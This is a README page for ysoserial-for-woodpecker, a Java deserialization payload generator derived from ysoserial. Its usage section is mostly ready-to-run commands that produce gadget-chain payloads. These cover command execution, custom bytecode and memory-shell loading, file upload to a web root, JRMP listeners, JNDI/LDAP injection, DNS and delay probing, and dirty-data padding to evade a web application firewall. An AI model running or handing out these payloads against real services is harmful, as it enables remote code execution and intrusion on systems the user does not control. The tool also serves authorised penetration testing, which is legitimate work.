ysoserial-for-woodpecker

Introduction: 给 woodpecker 框架量身定制的 ysoserial
More: Author   ReportBugs   
Tags:

0x01 简介

ysoserial-for-woodpecker是基于 ysoserial ,为 woodpecker 框架定制开发的 JDK 反序列化 gadget 集成库。

0x02 编译

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

0x03 简单使用

usage: ysoserial-for-woodpecker-<version>.jar [-a <arg>] [-c] [-ddl <arg>]
       [-g <arg>] [-l]
 -a,--args <arg>                 gadget parameters
 -c,--compress                   Zip the Templates gadgets
 -ddl,--dirt-data-length <arg>   Add the length of dirty data, used to
                                 bypass WAF
 -g,--gadget <arg>               java deserialization gadget
 -l,--list                       List all gadgets

3.1 延时探测

java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "sleep:10"

3.2 dns 探测

java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "dnslog:xxx.dnslog.cn"

3.3 DNS 探测 class

可用于探测

java -jar ysoserial-for-woodpecker-<version>.jar -g FindClassByDNS -a "http://string.dnslog.cn|java.lang.String"

3.4 延时探测 class

注意设置深度,经过实战深度一般在 25-28 之间,太大会导致 dos。

java -jar ysoserial-for-woodpecker-<version>.jar -g FindClassByBomb -a "java.lang.String|28"

3.5 执行命令

java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "raw_cmd:calc.exe"

3.6 执行自定义字节码

java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "class_file:/tmp/memshell.class"

3.7 上传文件

java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "upload_file:/tmp/local_file.txt|/var/www/remote_file.txt"

3.8 执行 js

java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "script_file:/tmp/sleep.js"

3.9 JRMP

java -cp ysoserial-for-woodpecker-<version>.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1234 CommonsCollections6Lite "raw_cmd:calc.exe"

3.10 JNDI

java -jar ysoserial-for-woodpecker-<version>.jar -g Spring3 -a "jndi:ldap://127.0.0.1:1089/obj"

3.11 Bypass waf

加入 40w 脏数据绕 WAF

java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsCollections6 -a "raw_cmd:calc" --dirt-data-length 400000

更多功能移步0x04 更多功能命令

0x04 更多功能命令

  • [ ] sleep 生成延时 payload
  • [ ] dnslog 生成 dnslog payload
  • [ ] httplog 生成 httplog payload
  • [ ] upload_file 上传文件,通过文件名
  • [ ] upload_file_base64 上传文件,通过文件 base64 内容
  • [ ] raw_cmd 原生的命令执行
  • [ ] win_cmd 在 windows 下执行命令
  • [ ] linux_cmd 在 linux 下执行命令
  • [ ] auto_cmd 自动判断操作系统执行命令
  • [ ] class_file 注入 class 文件,执行 class 代码
  • [ ] class_base64 注入 class base64 编码内容,执行 class 代码
  • [ ] code_file 注入要执行的代码
  • [ ] code_base64 注入要执行代码的 base64 编码
  • [ ] bcel 注入 bcel 字符串,实现代码执行
  • [ ] bcel_class_file 通过文件注入
  • [ ] bcel_with_args 注入 bcel 字符串和参数,实现代码执行
  • [ ] bcel_class_file_with_args 通过文件注入和参数,实现代码执行
  • [ ] script_file 通过 js 引擎执行代码
  • [ ] script_base64 通过 js 引擎执行代码
  • [ ] loadjar 调用 jar 中类的无参构造器
  • [ ] loadjar_with_args 调用 jar 中类的参数为一个 String 的构造器
  • [ ] jndi jndi 注入
Apps
About Me
GitHub: Trinea
Facebook: Dev Tools